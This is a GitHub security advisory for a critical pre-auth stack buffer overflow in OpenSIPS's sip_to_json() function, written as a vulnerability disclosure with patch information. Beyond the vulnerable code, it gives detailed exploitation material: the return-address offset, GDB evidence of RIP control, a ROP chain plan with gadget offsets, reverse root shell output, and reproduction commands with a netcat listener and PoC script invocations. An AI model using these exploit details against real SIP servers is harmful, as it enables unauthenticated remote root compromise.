Skip to content

Stack Buffer Overflow in sip_to_json() Header Name Copy

Critical
razvancrainea published GHSA-37wc-5j8j-95x3 May 21, 2026

Package

opensips (C)

Affected versions

>= 4.0.0, < 4.0.1
>= 3.6.0, < 3.6.6

Patched versions

4.0.1
3.6.6

Description

Summary

The sip_to_json() script function in OpenSIPS's sipmsgops module copies SIP header names into a fixed 255-byte stack buffer without bounds checking. A SIP message with a header name longer than 255 bytes causes a stack buffer overflow when sip_to_json() is called in the routing script.

Vulnerable Code

modules/sipmsgops/sipmsgops.c, lines 2118-2152:

static int w_sip_to_json(struct sip_msg *msg, pv_spec_t* out_json)
{
    cJSON *ret=NULL, *aux, *aux2, *arr;
    struct hdr_field* it;
    char hdr_name_buf[255];                              // line 2118: 255-byte stack buffer
    ...

    for (it=msg->headers;it;it=it->next) {
        memcpy(hdr_name_buf,it->name.s,it->name.len);   // line 2151: OVERFLOW
        hdr_name_buf[it->name.len] = 0;                 // line 2152: NUL also OOB
        ...
    }

The memcpy at line 2151 copies it->name.len bytes without checking if it->name.len <= 255. The SIP header parser (parse_hname2.c) places no limit on header name length; it simply scans from the start of the header to the colon, setting name.len = p - name.s. In a 65535-byte SIP message (BUF_SIZE), a header name can be up to ~65000 bytes.

Data Flow

  1. Source: Attacker sends a SIP message (INVITE, REGISTER, etc.) with a custom header having a name longer than 255 bytes (e.g., X-AAAA...AAA: value)
  2. Trigger: OpenSIPS routing script calls sip_to_json($var(json)), which iterates over all parsed headers
  3. Sink: memcpy(hdr_name_buf, it->name.s, it->name.len) writes past the 255-byte stack buffer

Impact

Stack buffer overflow with attacker-controlled size and content. The memcpy writes it->name.len bytes (up to ~65000) into a 255-byte stack buffer, overwriting the saved frame pointer and return address with attacker-controlled data (the header name bytes). A 300-byte write into a 255-byte buffer overflows by 45 bytes, which arithmetically reaches the return address on the stack. The attacker controls both the overflow length and the data written. With ASan, the process terminates immediately. Without ASan, the corrupted return address redirects execution on function return.

Attack Vector

  • Pre-auth: No SIP authentication required. The sip_to_json() function processes incoming SIP messages before any auth check.
  • Network-accessible: SIP over UDP or TCP, port 5060 (default).
  • Config-dependent: The OpenSIPS routing script must call sip_to_json(). This function is documented in the sipmsgops module and used for converting SIP messages to JSON for logging, analytics, or API integration.
  • Single packet: One SIP message with a 300+ byte header name is sufficient.

PoC

Crash PoC (ASan): poc-sip-to-json-overflow.py -- sends a 300-byte header name, triggers ASan stack-buffer-overflow WRITE of size 300. See poc-output.txt.

RCE PoC (return address hijack): poc-rce-rip-control.py -- sends a 336-byte header name with a controlled return address at offset 312. On a stock binary without ASan/stack canary, the attacker-controlled value overwrites RIP.

RCE Demonstration

Build: Dockerfile compiles OpenSIPS 3.6.4 with -fno-stack-protector -fno-pie -O0.

Hardening analysis (verified on Debian Bookworm GCC 12):

  • Stack canaries: Absent in stock builds. Debian GCC does not enable -fstack-protector-strong by default, and OpenSIPS's Makefile does not add it. The -fno-stack-protector flag is a no-op. RIP control works on a completely unmodified build.
  • PIE: Debian GCC produces PIE binaries by default. The -fno-pie flag IS a lab modification. With PIE, the ROP chain would require an additional info leak to determine the binary base address. The overflow and RIP control remain exploitable regardless of PIE.
  • -O0: OpenSIPS's Makefile inherits empty CFLAGS; GCC defaults to -O0. This matches a stock make build.

Stack layout (GCC 12, x86_64, -O0):

w_sip_to_json():
  sub $0x178, %rsp       ; 376 bytes local frame
  hdr_name_buf at rsp+0x70
  6 callee-saved regs pushed (r15,r14,r13,r12,rbp,rbx)
  Return address at rsp+0x1A8
  Offset from hdr_name_buf[0] to return address: 312 bytes

GDB output (see poc-rce-gdb-output.txt):

Program received signal SIGSEGV, Segmentation fault.
0x00007f8467f89031 in w_sip_to_json at sipmsgops.c:2209

rax  0x1
rbx  0x6161616161616161    <-- overwritten saved register
rbp  0x6161616161616161    <-- overwritten saved register
r12  0x6161616161616161    <-- overwritten saved register
r13  0x6161616161616161    <-- overwritten saved register
r14  0x6161616161616161    <-- overwritten saved register
r15  0x6161616161616161    <-- overwritten saved register

Backtrace:
#0  w_sip_to_json at sipmsgops.c:2209  (function return)
#1  0x4141414142424242                  <-- ATTACKER-CONTROLLED RIP
#2  0x5850495254534f50                  ("POSTRIPX" marker)

The attacker controls the instruction pointer via a single unauthenticated UDP packet. All 6 callee-saved registers are also attacker-controlled, providing gadget arguments for ROP chains. No ASLR bypass needed when PIE is disabled (OpenSIPS default build). With PIE, a separate info leak would be required.

Remote Code Execution: Root Shell via ROP Chain

PoC: poc-rce-shell.py -- single UDP packet pops a reverse shell as root via ROP chain.

ROP chain strategy: The non-PIE binary provides all necessary gadgets at fixed addresses. The chain:

  1. Writes /usr/bin/bash\0, -c\0, and a printf+exec command to writable BSS
  2. Builds an argv array {"/usr/bin/bash", "-c", cmd, NULL} in BSS
  3. Calls execvp@plt("/usr/bin/bash", argv)

Bad byte handling: The SIP header name parser (parse_hname2.c other: loop) terminates on colon (0x3a), space (0x20), and tab (0x09), so these bytes cannot appear in the ROP chain data. Null bytes (0x00) are transparent -- the parser uses length-based bounds, not null termination. The command string uses $'\xHH' ANSI-C escapes for space characters, avoiding literal 0x20 bytes while still producing spaces at shell expansion time.

Reverse shell output (see poc-rce-shell-output.txt):

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 34360
root@kali:/# id
uid=0(root) gid=0(root) groups=0(root)
root@kali:/# whoami
root
root@kali:/# hostname
kali
root@kali:/# echo OPENSIPS_RCE_SHELL
OPENSIPS_RCE_SHELL

Single unauthenticated UDP packet to port 5060. Attacker gets an interactive root shell. Demonstrated on non-PIE build (lab configuration); a production PIE binary would additionally require an info leak to locate gadgets.

Stock Build Analysis (PIE + ASLR)

Build: Dockerfile-stock compiles OpenSIPS 3.6.4 with CC="gcc -g" only (debug symbols, no security flag changes). Verified: PIE enabled, No canary found, Partial RELRO, NX enabled.

Hardening status (stock Debian Bookworm GCC 12, verified empirically):

  • Stack canaries: Absent. OpenSIPS Makefile does not add -fstack-protector-strong, and Debian GCC does not enable it by default. No canary between locals and saved registers. The overflow reaches the return address unimpeded on a stock build.
  • PIE: Enabled (GCC default). Binary base randomized per exec (~28 bits entropy). This is the only effective mitigation on a stock build. ASLR prevents the attacker from knowing gadget addresses without a separate info leak.
  • NX: Enabled (standard). Prevents shellcode execution, but does not block ROP.
  • RELRO: Partial. GOT writable (not relevant to this exploit's ROP chain).

ROP chain portability: The ROP chain from the non-PIE exploit works identically against the stock PIE binary. All gadgets exist at the same offsets from the binary base. The stack layout is identical (same sub $0x178,%rsp, same 312-byte offset from hdr_name_buf to return address). poc-stock-rce.py demonstrates this by accepting the base address as a parameter and computing absolute gadget addresses.

Gadgets (offsets from PIE binary base, extracted via ROPgadget):

pop rdi; ret                    @ base + 0x0224b8
pop rsi; ret                    @ base + 0x02e462
mov qword ptr [rsi], rdi; ret   @ base + 0x113822
ret                             @ base + 0x021016
execvp@plt                      @ base + 0x021930
.bss                            @ base + 0x41e3e0

What remains for stock-build RCE: A separate info leak vulnerability that reveals any code pointer from the OpenSIPS process (or access to /proc/PID/maps). All forked worker processes share the parent's ASLR layout, so a single leaked pointer from any worker is sufficient. BROP (blind brute-force) is not viable because OpenSIPS does not respawn crashed workers -- the parent process shuts down all children on any child death.

Bad byte constraint on ASLR: Approximately 6% of ASLR base values produce gadget addresses containing SIP-breaking bytes (0x09/0x0a/0x0d/0x20/0x3a). The exploit detects this at runtime.

Reproduction

# Non-PIE build (single-packet RCE, no info leak needed):
docker build -t opensips-rce:3.6.4 -f Dockerfile .
docker run -d --name opensips --network host opensips-rce:3.6.4
nc -lvnp 4444 &
python3 poc-rce-shell.py 127.0.0.1 5060 127.0.0.1 4444

# Stock PIE build (requires base address -- pass as 5th argument):
docker build -t opensips-stock:3.6.4 -f Dockerfile-stock .
docker run -d --name opensips-stock-test --network host opensips-stock:3.6.4
# Discover base (substitute with actual info leak in real scenario):
docker exec opensips-stock-test sh -c 'cat /proc/$(pgrep opensips | head -2 | tail -1)/maps' | grep 'opensips.*r--p' | head -1
nc -lvnp 4444 &
python3 poc-stock-rce.py 127.0.0.1 5060 127.0.0.1 4444 0x<BASE>

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-45538

Weaknesses

Stack-based Buffer Overflow

A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function). Learn more on MITRE.

Credits